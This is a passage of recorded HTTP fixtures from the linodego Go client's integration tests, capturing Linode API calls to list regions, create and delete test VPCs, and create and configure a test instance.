Connection: - keep-alive Content-Length: - "179" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs?page=1 method: GET response: body: '{"data": [{"id": 74463, "label": "go-test-vpc-1720728784789574000", "description": "", "region": "us-iad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "228" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74463 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_ListAllIPAddresses.yaml000066400000000000000000001056161474652371000324640ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-80yz80r8p1ze","firewall_id":653635,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61342492, "label": "go-test-ins-wo-disk-80yz80r8p1ze", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.37.231"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "725110a70f6844a09a3ecf82037979e86ac5576e", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "785" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-93cu08bo2r8n","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342492/configs method: POST response: body: '{"id": 64562059, "label": "go-test-conf-93cu08bo2r8n", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728787178428000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1720728787178600000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74465, "label": "go-test-vpc-1720728787178428000", "description": "", "region": "us-iad", "subnets": [{"id": 72313, "label": "linodego-vpc-test-1720728787178600000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-93cu08bo2r8n","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"vpc","subnet_id":72313,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342492/configs/64562059 method: PUT response: body: '{"id": 64562059, "label": "go-test-conf-93cu08bo2r8n", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": 